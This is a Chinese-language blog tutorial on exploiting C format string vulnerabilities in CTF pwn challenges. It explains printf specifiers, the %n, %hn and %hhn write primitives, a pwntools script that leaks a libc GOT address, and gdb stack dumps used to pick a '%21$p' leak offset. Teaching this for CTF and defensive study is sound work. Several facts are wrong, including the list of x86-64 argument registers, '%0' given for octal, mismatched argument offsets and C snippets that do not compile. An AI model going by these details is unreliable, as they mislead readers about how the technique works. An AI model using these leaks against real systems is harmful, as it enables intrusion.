本次教学节选于星梦安全团队在Bilibili上发表的视频url为 https://www.bilibili.com/video/BV1CB4y1P7jv

所有除部分代码内,部分定义都为作者手打,如有错误请指出
如有侵权请联系本文作者


书

在最近 我在做Pwn题目的时候 发现好多题目都有格式化字符串漏洞的利用 可是我也看不懂啊。。。刚好最近大佬们又出了新的教程 所以讲一下

0x01 什么是格式化字符串漏洞

为了知道什么是格式化字符串漏洞 我们首先知道什么是格式化字符串

格式化字符串

格式化字符串(英语:format string),是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出

所以简单的来说 格式化字符串就是一种转换的流程 可以把机器读的懂的东西转化成了我们能看懂的东西
过程
但是呢。。。我们今天要讲的和这个没有啥关系 主要是关于c语言上的
顺便补充一下 %后面加的是格式化格式符号

名称介绍
%d十进制有符号整数
%i有符号十进制整数 (与%d相同)
%08d添加前导零,确保显示的值至少包含8位 00012345(共8位)
%4d以4 位宽度显示一个整数,如 2_ 4_ 6_ 8
%f浮点数 1.2345000
%.2f舍入到两位小数 1.23
%4.1f以整数部分至少4位宽度,保留一位小数的格式显示一个浮点数
%c单个字符
%4c以4位宽度显示一个字符
%s字符串
%u十进制无符号整数
%X无符号以十六进制表示的整数
%0无符号以八进制表示的整数
%p指针的值
%e指数形式的浮点数
名称介绍
%d十进制有符号整数
%i有符号十进制整数 (与%d相同)
%08d添加前导零,确保显示的值至少包含8位 00012345(共8位)
%4d以4 位宽度显示一个整数,如 2_ 4_ 6_ 8
%f浮点数 1.2345000
%.2f舍入到两位小数 1.23
%4.1f以整数部分至少4位宽度,保留一位小数的格式显示一个浮点数
%c单个字符
%4c以4位宽度显示一个字符
%s字符串
%u十进制无符号整数
%X无符号以十六进制表示的整数
%0无符号以八进制表示的整数
%p指针的值
%e指数形式的浮点数
%n把已经成功输出的字符个数写入对应的整型指针参数所指的变量

举例

相信大家应该都对C语言有过一些了解的吧 如果没有 没有关系 我们先用一个例子;
假如说我们需要打印一个字符串 我们会这样编程

#include <stdio.h>
 
int main() /*Main函数 需要拥有的一个函数*/
{
   
   printf("Hello, World! \n");/*打印Hello, World 其中 \n代表换行 */
   
   return 0;/*结束程序*/
}

对的 就是这样 但是那么 如果我们获取一个数据 之后打印它 我们会怎么做呢?
我们会这样:

#include <stdio.h>
int main()
{
char Answer;
printf("String your height: ");
scanf("%s", &Answer);
printf("OK, I have already known your height\n");
printf("I repeat your height: %s", &Answer);
exit(0);
}

这时一般的思路都是这样的 但是 如果有图方便的懒癌患者他们可能会这样编:

#include <stdio.h>
#include <stdlib.h>
int main()
{
char Answer;
printf("String your height: ");
scanf("%s", &Answer);
printf("OK, I have already known your height\n");
printf("I repeat your height:");
printf(&Answer);
exit(0);
}

看起来没错 对吧?

这个时候 就会出现一个问题
Printf函数运行的大致流程如下:

Printf的流程

格式化字符串的在进入printf函数之后,函数首先会获得第一个参数,也就是格式化字符串,依次读取格式化字符串中的每一个字符,如果该字符是%,则继续读取下一个非空字符,获取对应的参数解析并输出;如果该字符不为%,则直接输出到标准输出

在上方的表格处 我们可以知道 %加上参数代表的是printf后面不同的函数 例如printf("I repeat your height: %s", &Answer);中的%s 代表着 Answer函数 可是在我们用这种做法后 机器分不清哪个是哪个 那么 处理器只能使用后面的数据了
机器:我蒙了


进一步的了解

首先 我们需要知道C语言printf函数代表的一类格式化字符串的基本格式如下:
%parameterfieldwidth[length]type

parameter

首先是parameter parameter代表参数 假如我们输入这个程序;

#include <stdio.h>
#include <stdlib.h>
int main()
{
        int a=1,b=0x22222222,c=123;

           printf("%3$p.%08x\n",a,b,c);

           return 0;
}

这个时候 我们得到的反馈就是0x22222222.00000001 那么%3$p.%08x\n就是paramete

fieldwidth

fieldwidth 代表着给出显示数值的最小宽度 例如说我们在第一个程序中输入%100c
这时 他会回馈一段长度为100的空格

precision

precision 常指明输出的最大长度 就是他会把一小数第三位四舍五入

length

这个非常重要 length指出浮点型参数或整型参数的长度(我也看不懂)
其中
hh:输出1byte
h:输出2byte
l:输出4byte
ll:输出8byte
我们在使用格式化字符串漏洞时 会频繁的使用这个来修改数据 其中 我们通常使用hh和h,也就是一次性写1字节和一次性写2字节

type

type,也称转换说明(conversion specification/specifier),可以是如下字符
d/i:有符号整型,int u:无符号整型,unsigned int
x/X:16进制unsigned int,x使用小写字母输出,X使用大写字母输出
s:输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节
c:把int参数转为unsigned char类型输出,格式化漏洞利用中通常使用其输出大量字符
p:void*型,输出对应变量的值
n:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量

0x02 格式化字符串的例子

%c

他们都属于我们上方讲过的field-width 他们可以生成自定义长度的字符串 其中 %1000c等 其中 他们可以生成指定长度的字符串 例如%1000c 会生成一个1000的字符串 其中 除了最后都是空格
而再其中 你可以使用在后面输入你想输入的字符的ascii码值 比如说%c将int参数转为unsigned char类型输出;但结合field width这个参数,就可以输出大量字符

String your height: %1000c
OK, I have already known your height
I repeat your height:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        




















                              retr0@DESKTOP-RS7CEJ9

但是如果仅仅只有格式化字符串,没有对应的参数,程序依然会输出大量空格;如果有对应的参数,程序会将其补全到field width指定的长度并输出,比如:printf(“%1000cn”,‘a’);输出为结尾为a的字符串 可以试一试

%p

%p可以用来泄露程序的指针(地址)等信息

#include <stdio.h>
int main()
{
int a=0x123
printf('%p',a)
return(0)  
}

/*Output:0x123*/

同时 我们可以使用%n$p来输出我们指定的参数 在上方我们提及过

int a=1,b=0x22222222;
printf("%2$p",a,b);

这时 会输出 0x22222222

%s

%s可以获取变量对应地址的数据,即将栈中数据当作一个地址,获取这个地址中的数据,存在0截断
这个是非常重要的 我们经常会使用%s来获得栈中的数据的地址
其中 他的语法是%n$s
在这里 n代表了用户在栈中输入的地方和格式化字符串输出的地方的偏移
这里 我们举个例子

#include <stdio.h>
#include <stdlib.h>
int main()
{
        char Answer;
        scanf("%s", &Answer);
        printf(&Answer);
        exit(0);
}

我们运行程序 并输入aaaa
首先我们要寻找aaa在参数的第几位
image.png

知道了我们输入的数据是第几个参数之后,为了验证%s是将栈中数据当作地址来寻址,并输出其中的数据,我们首先输入aaaa%6$p,将printf的第7个参数以地址形式输出,由于我们编译的程序是32位的,4字节对齐,因此aaaa就是printf的第7个参数,程序输出为:
input:aaaa%6 $ p
output:aaaa0x61616161
那就可以知道 aaaa是在相对自己7位
接着我们输入aaaa%6$s(是s) 意思是将aaaa作为一个地址来解析
程序崩溃了,原因是因为aaaa无法作为地址解析

那么问题来了参数p除了%s来获得栈中的数据的地址崩溃程序和泄露栈上的数据还可以干嘛呢
首先 我们需要知道%s是可以把地址以地址输出的 那么如果我们把aaaa换成一个已经存在的函数栈地址的话 不就可以做到泄露函数栈的真实地址了吗

我们拿libc举例子

我们试着泄露__libc_start_main的真实地址,根据延迟绑定机制,函数的真实地址存储在相应的got表中,我们使用如下脚本来泄露:

from pwn import *
context.log_level='debug'
io=process('./demo1')
elf=ELF('./demo1')
__libc_start_main_got=elf.got['__libc_start_main']
payload=p32(__libc_start_main_got)+'%6$s'
io.sendline(payload)
io.recv(4)
__libc_start_main_addr=u32(io.recv(4))
print(hex(__libc_start_main_addr))
io.interactive()

不过大部分情况下我们并不使用%s来泄露libc地址,因为有些程序开启了pie,没办法泄露具体地址的数据,通常我们选择在栈中找数据,因为栈中既有text段的地址,也有栈地址,还有libc地址,只需要确定下来栈中的某一处数据是printf函数的第几个参数,我们就能通过%n$p来泄露栈中的任意位置数据。所以没必要用%s来泄露特定地址的数据

%n,%hn,%hhn

在格式化字符串漏洞中 这个的利用最为核心 在上方的表格中 我们知道%n的作用是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
我们也知道:
%n 修改4字节
%hn修改2字节
%hhn修改1字节
比如说 我们举一个例子

include <stdio.h>

#include <stdio.h>
int main()
{
int a;
printf("%100c%n\n",a,&a);
printf("%d\n",a);
return 0;
}

输出结果;

retr0@DESKTOP-RS7CEJ9:~/Something$ ./Testr






100

0x02 格式化字符漏洞实例

| 寄存器名称 | 作用 |
| --- | --- |
| esi/edi| 保存目标字符首地址|
| esp|栈顶地址 |
|ebp|扩展基地址寄存器 存放栈底地址|
|eip|指令指针寄存器 读入下一个要执行的命令 执行时清0 并且继续读取|
|eax|累加器 默认保存数学算式结果函数返回值|

我们首先要知道
源代码如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
        char Hey;
        scanf("%s", &Hey);
        printf(&Hey);/*格式化字符串漏洞*/
        exit(0);
}

可以看到在程序中 存在一个明显的格式化字符串漏洞 这时 我们打开gdb

打开后 首先在printf处下断点

pwndbg> b printf
Breakpoint 1 at 0x7ffff7e24e10: file printf.c, line 28.

下完断点后 我们运行程序并且随便输入1串数字 假如我输入了bbbb 那么栈中会是这个场景;

RAX  0x0
 RBX  0x5555555551f0 (__libc_csu_init) ◂— endbr64
 RCX  0x0
 RDX  0x0
 RDI  0x7fffffffe510 ◂— 0x61616161 /* 'aaaa' */
 RSI  0xa
 R8   0xa
 R9   0x7c
 R10  0x7ffff7fabbe0 (main_arena+96) —▸ 0x5555555596a0 ◂— 0x0
 R11  0x246
 R12  0x5555555550a0 (_start) ◂— endbr64
 R13  0x7fffffffe670 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe580 ◂— 0x0
 RSP  0x7fffffffe508 —▸ 0x5555555551cd (main+68) ◂— mov    eax, 0
 RIP  0x7ffff7e24e10 (printf) ◂— endbr64
----------------------------------Stack-------------------------------------------------
00:0000│ rsp 0x7fffffffe508 —▸ 0x5555555551cd (main+68) ◂— mov    eax, 0
01:0008│ rdi 0x7fffffffe510 ◂— 0x62626262 /* 'bbbb' */
02:0010│     0x7fffffffe518 ◂— 0x0
03:0018│     0x7fffffffe520 —▸ 0x555555554040 ◂— 0x400000006
04:0020│     0x7fffffffe528 ◂— 0xf0b5ff
05:0028│     0x7fffffffe530 ◂— 0xc2
06:0030│     0x7fffffffe538 —▸ 0x7fffffffe567 ◂— 0x5555555550a000
07:0038│     0x7fffffffe540 —▸ 0x7fffffffe566 ◂— 0x5555555550a00000
08:0040│     0x7fffffffe548 —▸ 0x55555555523d (__libc_csu_init+77) ◂— add    rbx, 1
09:0048│     0x7fffffffe550 —▸ 0x7ffff7fb0fc8 (__exit_funcs_lock) ◂— 0x0
0a:0050│     0x7fffffffe558 —▸ 0x5555555551f0 (__libc_csu_init) ◂— endbr64
0b:0058│     0x7fffffffe560 ◂— 0x0
0c:0060│     0x7fffffffe568 —▸ 0x5555555550a0 (_start) ◂— endbr64
0d:0068│     0x7fffffffe570 —▸ 0x7fffffffe670 ◂— 0x1
0e:0070│     0x7fffffffe578 ◂— 0x9e446613030a3800
0f:0078│ rbp 0x7fffffffe580 ◂— 0x0
10:0080│     0x7fffffffe588 —▸ 0x7ffff7de70b3 (__libc_start_main+243) ◂— mov    edi, eax
11:0088│     0x7fffffffe590 —▸ 0x7ffff7ffc5c0 (_rtld_global_ro) ◂— 0x5044800000000
12:0090│     0x7fffffffe598 —▸ 0x7fffffffe678 —▸ 0x7fffffffe88d ◂— '/home/retr0/Something/string'

从这段中 我们也可以得知64位程序也是从寄存器就开始。。。。的

栈内

这里可以看到在rdi指针上 而我们再上方说过 我们可以通过使用%p来泄露参数 我们也说过 我们需要通过目标相对地址的距离 也就是差几个指令 之后再通过对%p参数的调整 来泄露libc
黑客和寄存器
这里 我们就通过上面的举个例子;

00:0000│ rsp 0x7fffffffe508 —▸ 0x5555555551cd (main+68) ◂— mov    eax, 0
01:0008│ rdi 0x7fffffffe510 ◂— 0x62626262 /* 'bbbb' */
02:0010│     0x7fffffffe518 ◂— 0x0
03:0018│     0x7fffffffe520 —▸ 0x555555554040 ◂— 0x400000006
04:0020│     0x7fffffffe528 ◂— 0xf0b5ff
05:0028│     0x7fffffffe530 ◂— 0xc2
06:0030│     0x7fffffffe538 —▸ 0x7fffffffe567 ◂— 0x5555555550a000
07:0038│     0x7fffffffe540 —▸ 0x7fffffffe566 ◂— 0x5555555550a00000
08:0040│     0x7fffffffe548 —▸ 0x55555555523d (__libc_csu_init+77) ◂— add    rbx, 1
09:0048│     0x7fffffffe550 —▸ 0x7ffff7fb0fc8 (__exit_funcs_lock) ◂— 0x0
0a:0050│     0x7fffffffe558 —▸ 0x5555555551f0 (__libc_csu_init) ◂— endbr64
0b:0058│     0x7fffffffe560 ◂— 0x0
0c:0060│     0x7fffffffe568 —▸ 0x5555555550a0 (_start) ◂— endbr64
0d:0068│     0x7fffffffe570 —▸ 0x7fffffffe670 ◂— 0x1
0e:0070│     0x7fffffffe578 ◂— 0x9e446613030a3800
0f:0078│ rbp 0x7fffffffe580 ◂— 0x0
10:0080│     0x7fffffffe588 —▸ 0x7ffff7de70b3 (__libc_start_main+243) ◂— mov    edi, eax

假如我们要查询__libc_start_main+243的真实地址 我们会怎么办呢?
我们从rdi指针开始数(0x7fffffffe510 ◂— 0x62626262 /'bbbb'/ ) 1,2,3,4,.....16 一共是16条
所以我们的指令就是 %16$p.......吗?
不是的 记住,64位程序是从寄存器传参的 所以还要加上前面5个寄存器,分别是 rdi rsi r8 r9 r10
那么我们就可以知道 指令应该是%21$p

retr0@DESKTOP-RS7CEJ9:~/Something$ ./string
%21$p
0x7fc7fe9560b3
retr0@DESKTOP-RS7CEJ9:~/Something$

好了!我们成功的泄露了地址 知道了后三百位地址 现在我们可以去查找libc了
Bingo

最后修改:2021 年 04 月 18 日 07 : 33 PM
如果觉得我的文章对你有用,请随意赞赏